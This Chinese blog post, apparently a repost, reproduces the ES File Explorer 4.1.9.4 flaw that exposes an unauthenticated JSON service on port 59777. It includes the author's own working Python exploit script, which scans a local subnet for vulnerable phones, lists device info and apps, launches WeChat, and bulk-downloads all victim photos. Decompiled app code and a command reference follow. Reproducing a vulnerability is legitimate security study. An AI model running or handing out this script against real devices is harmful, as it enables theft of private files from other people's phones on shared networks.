ES文件浏览器漏洞复现

栏目: Python · 发布时间: 5年前

内容简介:今天上网的时候看到一个poc开始是192.168.0.100

写在前面的话

今天上网的时候看到一个 新闻 ,ES文件浏览器存在漏洞,同一个网络下的用户可以直接访问安装了ES的用户手机上的文件,正好我手机上也安装了es,于是就测试了下。

测试

poc 地址 下载

ip:

开始是192.168.0.100

后来有事去了,再连就是192.168.0.102

版本号:4.1.9.4

0x00验证漏洞

首先电脑和手机处于同一个网络,再查看我的手机ip,和es的版本

ES文件浏览器漏洞复现

ES文件浏览器漏洞复现

执行命令 python poc.py poc.py --cmd getDeviceInfo --network 192.168.0.

ES文件浏览器漏洞复现

0x01分析原理

看了各位大佬的分析,小白我大概知道了原理,就是向手机发送一个json的数据包,我们使用大佬的 脚本 ,想手机发送一个数据包,抓包分析一下

ES文件浏览器漏洞复现

确实是发送了一个json的数据包

0x02获取受害者手机图片

首先列出受害者手机所有图片

python poc.py --cmd listPics

ES文件浏览器漏洞复现

可以看到很多手机图片

0x03下载受害者图片

我们随便从刚才获得的列表中挑一张下载试试

python poc.py -g /storage/emulated/0/DCIM/Camera/IMG_20181218_175120.jpg

ES文件浏览器漏洞复现

成功将图片下载到本地

0x04造个轮子

玩了下大佬的脚本,确实厉害,但是发现一个问题,就是他的脚本会自动扫描局域网所有的ip,这样就会很浪费时间,所以本着练习 python 编程的想法,自己又造了个轮子

#coding:utf-8
from socket import *
import requests
import re
import json
import sys
addrs = []
def poc():
    for ip in range(101, 104):
        addr = "192.168.0."+str(ip)
        s = socket(AF_INET, SOCK_STREAM)
        s.settimeout(1)
        if not s.connect_ex((addr, 59777)):
            s.close()
            print("[+]"+addr+"存在漏洞")
            addrs.append(addr)
        else:
            continue
            s.close()
    print("[+]扫描结束\n[+]执行操作"+sys.argv[1])

def cmd(cmd):
    poc()
    for addr in addrs:
        headers = {"Content-Type": "application/json"}
        address = 'http://' + addr + ':59777'
        data = '{ "command":' + cmd + ' }'
        r = requests.post(address, headers=headers, data=data)

        if cmd == 'listPics':#下载图片
            image = re.compile(r'/s.*jpg')
            for i in  image.findall(r.text):
                imageurl =  address  + i            
                filename = i.rsplit('/', 1)[1]
                r = requests.get(imageurl, headers=headers)
                print("[+]正在下载"+i)
                with open(filename, 'wb') as f:
                    f.write(r.content)
                    #break
        elif cmd == 'wx':#启动微信
            data = '{"command":"appLaunch", "appPackageName": "com.tencent.mm"}'
            r = requests.post(address, headers=headers, data=data)
        else:

            print(r.text)

def main():
    if len(sys.argv) > 1:
        cmd(sys.argv[1])
    else:
        print('Usage:')
        print('python3 es.py wx')
        print('python3 es.py listPics')
        print('python3 es.py listApps')
        print('python3 es.py listAudios')
        print('python3 es.py listVideos')
        print('python3 es.py listAppsPhone')
        print('python3 es.py getDeviceInfo')
        print('python3 es.py listAppsAll')

if __name__ == '__main__':
    main()

添加了一键下载所有图片,启动微信等功能,大致原理就是去请求资源的地址,只要符合APP的方法就行,具体方法参考漏洞路径 4.1.84class2.-dex2jar.jar\com\estrongs\android\f\a.class

public c.b a(String paramString1, String paramString2, Properties paramProperties1, Properties paramProperties2, Properties paramProperties3)
  {
    if (paramString1.startsWith("/estrongs_filemgr_oauth_result"))
    {
      paramString1 = CreateOAuthNetDisk.b();
      if (paramString1 != null) {
        paramString1.a(paramProperties2);
      }
      return null;
    }
    if (paramString2.equals("POST"))//判断发送方法是否为POST
    {
      localObject = new String(g());
      try
      {
        localObject = new JSONObject((String)localObject);//JSONG解码
        String str = ((JSONObject)localObject).getString("command");//获取JSON中command字段值
        if (str.equals("listFiles")) {//获取文件列表
          return b(paramString1);
        }
        if (str.equals("listPics")) {//获取图片列表
          return d();
        }
        if (str.equals("listVideos")) {//获取视频列表
          return e();
        }
        if (str.equals("listAudios")) {//获取音频列表
          return f();
        }
        if (str.equals("listApps")) {//获取软件列表
          return a(0);
        }
        if (str.equals("listAppsSystem")) {//获取系统软件列表
          return a(1);
        }
        if (str.equals("listAppsPhone")) {//获取电话软件列表
          return a(2);
        }
        if (str.equals("listAppsSdcard")) {//获取安装在SD卡中的软件列表
          return a(3);
        }
        if (str.equals("listAppsAll")) {//获取全部APP
          return a(4);
        }
        if (str.equals("getAppThumbnail")) {//获取APP缩略图
          return d((JSONObject)localObject);
        }
        if (str.equals("appLaunch")) {//启动APP
          return a((JSONObject)localObject);
        }
        if (str.equals("appPull")) {//下载APP
          return c((JSONObject)localObject);
        }
        if (str.equals("getDeviceInfo"))//获取设备信息
        {
          paramString1 = b((JSONObject)localObject);
          return paramString1;
        }
      }
      catch (JSONException paramString1)
      {
        paramString1.printStackTrace();
        return new c.b(this, "500 Internal Server Error", "text/plain", paramString1.toString());
      }
    }
    Object localObject = ah.bL(paramString1);
    if ((localObject == null) || (ah.I((String)localObject) == 0))
    {
      if (localObject == null) {
        return super.a(paramString1, paramString2, paramProperties1, paramProperties2, paramProperties3);
      }
      return super.a((String)localObject, paramString2, paramProperties1, paramProperties2, paramProperties3);
    }
    paramString1 = paramProperties1.getProperty("range");
    if ((paramString1 != null) && (paramString1.startsWith("bytes=")))
    {
      paramString2 = paramString1.substring("bytes=".length());
      int i = paramString2.indexOf('-');
      paramString1 = paramString2;
      if (i > 0) {
        paramString1 = paramString2.substring(0, i);
      }
    }
    for (;;)
    {
      try
      {
        l = Long.parseLong(paramString1);
        return a((String)localObject, l, 0L);
      }
      catch (NumberFormatException paramString1)
      {
        l = 0L;
        continue;
      }
      long l = 0L;
    }
  }

0x05其他功能

listFiles:列出所有文件
listPics:列出所有图片
listVideos:列出所有视频
listAudios:列出所有音频文件
listApps:列出所有已安装的应用
listAppsSystem:列出所有系统应用
listAppsPhone:列出所有手机应用
listAppsSdcard:列出所有sdcard 
listAppsAll:列出安装的所有应用程序(包括系统应用程序)
getDeviceInfo:获取设备信息
appPull:从设备中提取应用程序。需要包名称参数
appLaunch:启动应用程序。需要包名称参数
getAppThumbnail:获取应用程序的图标。包名称参数是必需的

最后还要膜下发现漏洞的大佬,是真的强。文章有什么不足,各位师傅多多指出。


以上所述就是小编给大家介绍的《ES文件浏览器漏洞复现》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

创新者的处方

创新者的处方

[美]克莱顿·克里斯坦森、杰罗姆·格罗斯曼、黄捷升 / 朱恒鹏、张琦 / 中国人民大学出版社 / 2015-9 / 89.90元

[内容简介] ● 创新大师克里斯坦森采用了哈佛商学院在20年研究中总结而出的、在各行业实践中获得成功的管理创新经验,把颠覆式创新理念引入美国医疗行业研究。医疗机构需要量体裁衣,选择合适的商业模式展开创新之举。 ● 作者同时探讨了医疗保险公司、制药企业、医学院和政府机构在医疗改革中起到的作用,从社会性角度深入剖析了医疗保健行业未来之路。 ● 医疗界人士、政策制定者、对医疗界现......一起来看看 《创新者的处方》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试